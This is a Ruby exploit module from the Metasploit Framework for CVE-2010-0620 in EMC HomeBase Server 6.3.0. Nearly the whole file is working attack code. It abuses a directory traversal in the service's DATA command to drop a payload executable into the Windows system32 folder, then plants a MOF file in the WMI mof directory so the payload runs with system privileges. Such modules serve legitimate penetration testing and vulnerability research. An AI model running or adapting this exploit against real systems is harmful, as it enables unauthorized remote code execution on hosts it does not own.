##
# $Id: emc_homebase_exec.rb 12458 2011-04-27 20:29:27Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::EXE
 include Msf::Exploit::WbemExec

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'EMC HomeBase Server Directory Traversal Remote Code Execution',
   'Description'    => %q{
     This module exploits a directory traversal and remote code execution
    flaw in EMC HomeBase Server 6.3.0.

    Note: This module has only been tested against Windows XP SP3 and Windows 2003 SP2
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 12458 $',
   'References'     =>
    [
     [ 'CVE', '2010-0620' ],
     [ 'BID', '38380' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-020/' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'    => 2048,
     'DisableNops' => true,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic',  { } ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Feb 23 2010'))

  register_options(
   [
    Opt::RPORT(18821),
    OptBool.new('SSL', [true, 'Use SSL', true]),
   ], self.class)
 end

 def exploit

  name = exe_name()
  exe_upload(name)
  select(nil,nil,nil,2)
  mof_upload(name)
  select(nil,nil,nil,4)
  handler

 end

 def exe_name

  rand_text_alpha_upper(8) + ".exe"

 end

 def exe_upload(exe_name)

  # this uploads our final exe payload.

  data = generate_payload_exe
  exe_dir = "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\WINDOWS\\\\system32\\\\"
 
  connect

  banner = sock.get
   if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )
    print_good("EMC HomeBase HomebaseSSL Service Detected!")
    print_status("Sending exe payload '#{exe_name}'...")
    sock.put("DATA #{exe_dir}#{exe_name} #{data.length}\r\n")
    ready = sock.get
     if ( ready =~ /150 Ready to Recieve Data/ )
      print_good("#{ready.strip}")
      print_status("Sending '#{data.length}' bytes of data...")
      sock.put(data)
      complete = sock.get
      if ( complete =~ /226 Data Complete/ )
       print_good("#{complete.strip}")
       print_status("Sending 'QUIT")
       sock.put("quit\r\n")
       return
      end
     else
      print_error("Something went wrong...")
      return
     end
   else
    print_error("Not a EMC HomeBaseSSL Service")
    return
   end
  
  disconnect

 end

 def mof_upload(exe_name)

  # this is what runs our uploaded exe payload.

  mof_name = rand_text_alphanumeric(8+rand(8))
  mof      = generate_mof(mof_name, exe_name)
  mof_dir  = "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\"

  connect

  banner = sock.get
   if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )
    print_good("EMC HomeBase HomebaseSSL Service Detected!")
    print_status("Sending MOF file '#{mof_name}'...")
    sock.put("DATA #{mof_dir}#{mof_name} #{mof.length}\r\n")
    ready = sock.get
     if ( ready =~ /150 Ready to Recieve Data/ )
      print_good("#{ready.strip}")
      print_status("Sending '#{mof.length}' bytes of data...")
      sock.put(mof)
      complete = sock.get
       if ( complete =~ /226 Data Complete/ )
        print_good("#{complete.strip}")
        print_status("Sending 'QUIT")
        sock.put("quit\r\n")
        return
       end
     else
      print_error("Something went wrong...")
      return
     end
   else
    print_error("Not a EMC HomeBaseSSL Service")
    return
                        end

  disconnect

 end
end